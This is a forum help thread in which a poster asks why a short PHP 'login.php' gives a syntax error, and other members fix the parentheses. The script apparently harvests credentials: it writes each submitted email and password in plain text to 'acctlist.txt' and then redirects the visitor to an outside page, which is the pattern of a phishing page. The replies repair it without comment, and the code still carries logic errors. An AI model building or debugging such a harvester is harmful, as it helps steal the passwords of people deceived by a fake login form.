Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 4 of 4
  1. #1
    TrainReq
    Guest

    unexpected T_BOOLEAN_AND

    I am getting
    Parse error: syntax error, unexpected T_BOOLEAN_AND in /home/*****/public_html/sttest/login.php on line 5


    here is the code i am using

    Code:
    <?php
    $pattern = '/.*@.*\..*/';
    $email = $_POST['email'];
    $password = $_POST['password'];
    if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))
    $data = "acctlist.txt";
    $open = fopen($data, "a");
    fwrite($open, $email . ":" . $password . "\n" );
    fclose($open);
    header("Location: http://www.site.com/validate.htmll");
    }
    else {
    	echo "<b><center>The email and/or password you enter is invalid! <br> Please go back and enter a valid email/password </b>";
    }
    ?>
    here is the code on line 5

    PHP Code:
    if (preg_match($pattern$_POST['email']) > 0) && !isset($_POST['password'])) 
    What is the problem?

  • #2
    Senior Coder
    Join Date
    Sep 2005
    Posts
    1,791
    Thanks
    5
    Thanked 36 Times in 35 Posts
    the closing ) after 0
    My thoughts on some things: http://codemeetsmusic.com
    And my scrapbook of cool things: http://gjones.tumblr.com

  • #3
    TrainReq
    Guest
    unexpected ')'

  • #4
    Senior Coder Nightfire's Avatar
    Join Date
    Jun 2002
    Posts
    4,265
    Thanks
    6
    Thanked 48 Times in 48 Posts
    if (preg_match($pattern, $_POST['email']) > 0 && !isset($_POST['password']))

    As mentioned, that'll work, or atleast should work from what I can see


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •